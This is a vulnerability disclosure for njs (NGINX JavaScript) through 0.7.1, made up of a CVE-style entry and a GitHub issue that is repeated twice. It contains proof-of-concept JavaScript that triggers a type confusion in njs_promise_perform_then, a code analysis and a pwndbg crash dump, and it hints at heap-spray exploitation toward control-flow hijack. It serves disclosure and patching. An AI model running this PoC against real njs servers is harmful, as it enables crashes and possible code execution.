njs through 0.7.1, used in NGINX, was discovered to contain a control flow hijack caused by a Type Confusion vulnerability in njs_promise_perform_then().
cpe:2.3:a:f5:njs:*:*:*:*:*:*:*:*
2DADC4D6-538B-4AC7-97B5-022B11495692
0.7.1
OR
## Env
```cpp
Version    : 0.7.0
Git Commit : bb796f7b3f3b65a78248f3ba86d0929eb292ca8e
OS         : Ubuntu 20.04
Configure  : ./Configure --address-sanitizer=YES
```
## Poc
```cpp
function main() {
    function v0(v1,v2) {
        return 1
    }
    var o = [1,2,3,4,5,6]
    const v1 = new Promise(v0);
    o.__proto__= v1;
    const v5 = [o];

    const v7 = Promise.race(v5);
    console.log(o)
}
main();
```
## Analysis
The output of the above poc is as follows:
```cpp
Promise [1,2,3,4.000000000000001,5,6]
```
If I comment out Promise.race(v5):
```cpp
function main() {
    function v0(v1,v2) {
        return 1
    }
    var o = [1,2,3,4,5,6]
    const v1 = new Promise(v0);
    o.__proto__= v1;
    const v5 = [o];

    // const v7 = Promise.race(v5);
    console.log(o)
}
main();
```
Then the output will be normal as follows:
```cpp
Promise [1,2,3,4,5,6]
```
This is because `njs_promise_perform_then` has Type Confusion vuln when dealing with promise objects. The code `data->is_handled = 1` will write the integer `1` to `is_handled` field of data that has been confused as `njs_promise_data_t`, although data may be of other types actually.
```cpp
njs_int_t
njs_promise_perform_then(njs_vm_t *vm, njs_value_t *value,
    njs_value_t *fulfilled, njs_value_t *rejected,
    njs_promise_capability_t *capability)
{
    njs_int_t               ret;
    njs_value_t             arguments[2];
    njs_promise_t           *promise;
	njs_promise_data_t      *data;
[...]
    
    promise = njs_promise(value);
    data = njs_data(&promise->value);

[...]

    data->is_handled = 1;

[...]

    return NJS_OK;
}
```
Therefore, when we try to change the data to the `Symbol` type:
```cpp
function main() {
    const v1 = new Promise(()=>{});
    Symbol.__proto__ = v1;
    const v5 = [Symbol];
    const v7 = Promise.race(v5);
}
main();
```
The following error will be reported as expected:
```cpp
Program received signal SIGSEGV, Segmentation fault.
0x00000000005f2e77 in njs_promise_perform_then (vm=<optimized out>, value=<optimized out>, fulfilled=<optimized out>, rejected=<optimized out>, capability=<optimized out>) at src/njs_promise.c:999
999	    data->is_handled = 1;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────
 RAX  0x9db00
 RBX  0x7fffffff9d60 —▸ 0x7fffffff0112 ◂— 0x0
 RCX  0xc4800000437 ◂— 0x0
 RDX  0xc4800000438 ◂— 0x0
 RDI  0x6240000021b8 —▸ 0x6250000d17b8 ◂— 0x6240000021b8
 RSI  0x7fffffff9d40 ◂— 0xe483485354415541
 R8   0x4edeb8 (njs_symbol_constructor+56) ◂— add    dh, byte ptr [rcx]
 R9   0x614000009c68 —▸ 0x6100000000a0 ◂— 0x614000009c68
 R10  0x98
 R11  0x614000008858 ◂— 0x200000000000
 R12  0x6250000c8d80 —▸ 0x6250000c8d00 ◂— 0x116
 R13  0x7fffffff9d40 ◂— 0xe483485354415541
 R14  0x6250000d17c0 —▸ 0x6240000021b8 —▸ 0x6250000d17b8 ◂— 0x6240000021b8
 R15  0x6250000c8d00 ◂— 0x116
 RBP  0x7fffffff9e10 —▸ 0x7fffffff9f10 —▸ 0x7fffffff9f50 —▸ 0x7fffffffa060 —▸ 0x7fffffffa1b0 ◂— ...
 RSP  0x7fffffff9d20 ◂— 0x41b58ab3
 RIP  0x5f2e77 (njs_promise_perform_then+1831) ◂— mov    dword ptr [r8], 1
────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
 ► 0x5f2e77 <njs_promise_perform_then+1831>    mov    dword ptr [r8], 1 <0x4edeb8>
   0x5f2e7e <njs_promise_perform_then+1838>    test   r15, r15
   0x5f2e81 <njs_promise_perform_then+1841>    je     njs_promise_perform_then+1852 <njs_promise_perform_then+1852>
 
   0x5f2e83 <njs_promise_perform_then+1843>    mov    rdi, qword ptr [rbx + 8]
   0x5f2e87 <njs_promise_perform_then+1847>    mov    rsi, r15
   0x5f2e8a <njs_promise_perform_then+1850>    jmp    njs_promise_perform_then+1863 <njs_promise_perform_then+1863>
    ↓
   0x5f2e97 <njs_promise_perform_then+1863>    call   njs_vm_retval_set <njs_vm_retval_set>
 
   0x5f2e9c <njs_promise_perform_then+1868>    xor    eax, eax
   0x5f2e9e <njs_promise_perform_then+1870>    mov    rcx, qword ptr [rbx + 0x18]
   0x5f2ea2 <njs_promise_perform_then+1874>    mov    rsi, qword ptr [rbx + 0x48]
   0x5f2ea6 <njs_promise_perform_then+1878>    mov    word ptr [rsi + 0x7fff8004], 0xf8f8
─────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────
In file: /home/p1umer/Git/njs/src/njs_promise.c
    994         if (njs_slow_path(ret != NJS_OK)) {
    995             return ret;
    996         }
    997     }
    998 
 ►  999     data->is_handled = 1;
   1000 
   1001     if (capability == NULL) {
   1002         njs_vm_retval_set(vm, &njs_value_undefined);
   1003 
   1004     } else {
─────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ rsp     0x7fffffff9d20 ◂— 0x41b58ab3
01:0008│         0x7fffffff9d28 —▸ 0x66e001 ◂— '1 32 16 21 arguments.sroa.11:930'
02:0010│         0x7fffffff9d30 —▸ 0x5f2750 (njs_promise_perform_then) ◂— push   rbp
03:0018│         0x7fffffff9d38 —▸ 0x494567 (__asan_memset+311) ◂— add    rsp, 0x820
04:0020│ rsi r13 0x7fffffff9d40 ◂— 0xe483485354415541
05:0028│         0x7fffffff9d48 ◂— 0xe3894840ec8348e0
06:0030│         0x7fffffff9d50 —▸ 0x6250000c1900 ◂— 0x0
07:0038│         0x7fffffff9d58 ◂— 0x0
───────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
 ► f 0         0x5f2e77 njs_promise_perform_then+1831
   f 1         0x5fb5b6 njs_promise_prototype_then+966
   f 2         0x53a2ed njs_function_native_call+221
   f 3         0x53892a njs_function_call2+1082
   f 4         0x53892a njs_function_call2+1082
   f 5         0x5fb0ff njs_promise_perform_race_handler+527
   f 6         0x5fb0ff njs_promise_perform_race_handler+527
   f 7         0x5fb0ff njs_promise_perform_race_handler+527
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
```
We deliberately introduce the non-writable `njs_symbol_constructor` to prove the validity of the vulnerability. Of course, this primitive can be used to confuse OTHER types of objects, and combined with heap spray technology to achieve control flow hijacking.
## Found by
P1umer, Kotori, afang5472 @ IIE NeSE



Control flow hijack caused by Type Confusion of Promise object
This is a GitHub Issue
repo:njs
owner:nginx
Title : Control flow hijack caused by Type Confusion of Promise object
Issue date:

--- start body ---
## Env
```cpp
Version    : 0.7.0
Git Commit : bb796f7b3f3b65a78248f3ba86d0929eb292ca8e
OS         : Ubuntu 20.04
Configure  : ./Configure --address-sanitizer=YES
```
## Poc
```cpp
function main() {
    function v0(v1,v2) {
        return 1
    }
    var o = [1,2,3,4,5,6]
    const v1 = new Promise(v0);
    o.__proto__= v1;
    const v5 = [o];

    const v7 = Promise.race(v5);
    console.log(o)
}
main();
```
## Analysis
The output of the above poc is as follows:
```cpp
Promise [1,2,3,4.000000000000001,5,6]
```
If I comment out Promise.race(v5):
```cpp
function main() {
    function v0(v1,v2) {
        return 1
    }
    var o = [1,2,3,4,5,6]
    const v1 = new Promise(v0);
    o.__proto__= v1;
    const v5 = [o];

    // const v7 = Promise.race(v5);
    console.log(o)
}
main();
```
Then the output will be normal as follows:
```cpp
Promise [1,2,3,4,5,6]
```
This is because `njs_promise_perform_then` has Type Confusion vuln when dealing with promise objects. The code `data->is_handled = 1` will write the integer `1` to `is_handled` field of data that has been confused as `njs_promise_data_t`, although data may be of other types actually.
```cpp
njs_int_t
njs_promise_perform_then(njs_vm_t *vm, njs_value_t *value,
    njs_value_t *fulfilled, njs_value_t *rejected,
    njs_promise_capability_t *capability)
{
    njs_int_t               ret;
    njs_value_t             arguments[2];
    njs_promise_t           *promise;
	njs_promise_data_t      *data;
[...]
    
    promise = njs_promise(value);
    data = njs_data(&promise->value);

[...]

    data->is_handled = 1;

[...]

    return NJS_OK;
}
```
Therefore, when we try to change the data to the `Symbol` type:
```cpp
function main() {
    const v1 = new Promise(()=>{});
    Symbol.__proto__ = v1;
    const v5 = [Symbol];
    const v7 = Promise.race(v5);
}
main();
```
The following error will be reported as expected:
```cpp
Program received signal SIGSEGV, Segmentation fault.
0x00000000005f2e77 in njs_promise_perform_then (vm=<optimized out>, value=<optimized out>, fulfilled=<optimized out>, rejected=<optimized out>, capability=<optimized out>) at src/njs_promise.c:999
999	    data->is_handled = 1;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────
 RAX  0x9db00
 RBX  0x7fffffff9d60 —▸ 0x7fffffff0112 ◂— 0x0
 RCX  0xc4800000437 ◂— 0x0
 RDX  0xc4800000438 ◂— 0x0
 RDI  0x6240000021b8 —▸ 0x6250000d17b8 ◂— 0x6240000021b8
 RSI  0x7fffffff9d40 ◂— 0xe483485354415541
 R8   0x4edeb8 (njs_symbol_constructor+56) ◂— add    dh, byte ptr [rcx]
 R9   0x614000009c68 —▸ 0x6100000000a0 ◂— 0x614000009c68
 R10  0x98
 R11  0x614000008858 ◂— 0x200000000000
 R12  0x6250000c8d80 —▸ 0x6250000c8d00 ◂— 0x116
 R13  0x7fffffff9d40 ◂— 0xe483485354415541
 R14  0x6250000d17c0 —▸ 0x6240000021b8 —▸ 0x6250000d17b8 ◂— 0x6240000021b8
 R15  0x6250000c8d00 ◂— 0x116
 RBP  0x7fffffff9e10 —▸ 0x7fffffff9f10 —▸ 0x7fffffff9f50 —▸ 0x7fffffffa060 —▸ 0x7fffffffa1b0 ◂— ...
 RSP  0x7fffffff9d20 ◂— 0x41b58ab3
 RIP  0x5f2e77 (njs_promise_perform_then+1831) ◂— mov    dword ptr [r8], 1
────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
 ► 0x5f2e77 <njs_promise_perform_then+1831>    mov    dword ptr [r8], 1 <0x4edeb8>
   0x5f2e7e <njs_promise_perform_then+1838>    test   r15, r15
   0x5f2e81 <njs_promise_perform_then+1841>    je     njs_promise_perform_then+1852 <njs_promise_perform_then+1852>
 
   0x5f2e83 <njs_promise_perform_then+1843>    mov    rdi, qword ptr [rbx + 8]
   0x5f2e87 <njs_promise_perform_then+1847>    mov    rsi, r15
   0x5f2e8a <njs_promise_perform_then+1850>    jmp    njs_promise_perform_then+1863 <njs_promise_perform_then+1863>
    ↓
   0x5f2e97 <njs_promise_perform_then+1863>    call   njs_vm_retval_set <njs_vm_retval_set>
 
   0x5f2e9c <njs_promise_perform_then+1868>    xor    eax, eax
   0x5f2e9e <njs_promise_perform_then+1870>    mov    rcx, qword ptr [rbx + 0x18]
   0x5f2ea2 <njs_promise_perform_then+1874>    mov    rsi, qword ptr [rbx + 0x48]
   0x5f2ea6 <njs_promise_perform_then+1878>    mov    word ptr [rsi + 0x7fff8004], 0xf8f8
─────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────
In file: /home/p1umer/Git/njs/src/njs_promise.c
    994         if (njs_slow_path(ret != NJS_OK)) {
    995             return ret;
    996         }
    997     }
    998 
 ►  999     data->is_handled = 1;
   1000 
   1001     if (capability == NULL) {
   1002         njs_vm_retval_set(vm, &njs_value_undefined);
   1003 
   1004     } else {
─────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ rsp     0x7fffffff9d20 ◂— 0x41b58ab3
01:0008│         0x7fffffff9d28 —▸ 0x66e001 ◂— '1 32 16 21 arguments.sroa.11:930'
02:0010│         0x7fffffff9d30 —▸ 0x5f2750 (njs_promise_perform_then) ◂— push   rbp
03:0018│         0x7fffffff9d38 —▸ 0x494567 (__asan_memset+311) ◂— add    rsp, 0x820
04:0020│ rsi r13 0x7fffffff9d40 ◂— 0xe483485354415541
05:0028│         0x7fffffff9d48 ◂— 0xe3894840ec8348e0
06:0030│         0x7fffffff9d50 —▸ 0x6250000c1900 ◂— 0x0
07:0038│         0x7fffffff9d58 ◂— 0x0
───────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
 ► f 0         0x5f2e77 njs_promise_perform_then+1831
   f 1         0x5fb5b6 njs_promise_prototype_then+966
   f 2         0x53a2ed njs_function_native_call+221
   f 3         0x53892a njs_function_call2+1082
   f 4         0x53892a njs_function_call2+1082
   f 5         0x5fb0ff njs_promise_perform_race_handler+527
   f 6         0x5fb0ff njs_promise_perform_race_handler+527
   f 7         0x5fb0ff njs_promise_perform_race_handler+527
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
```
We deliberately introduce the non-writable `njs_symbol_constructor` to prove the validity of the vulnerability. Of course, this primitive can be used to confuse OTHER types of objects, and combined with heap spray technology to achieve control flow hijacking.
## Found by
P1umer, Kotori, afang5472 @ IIE NeSE



--- end body ---

comments :
--- start comments ---

--- end comments ---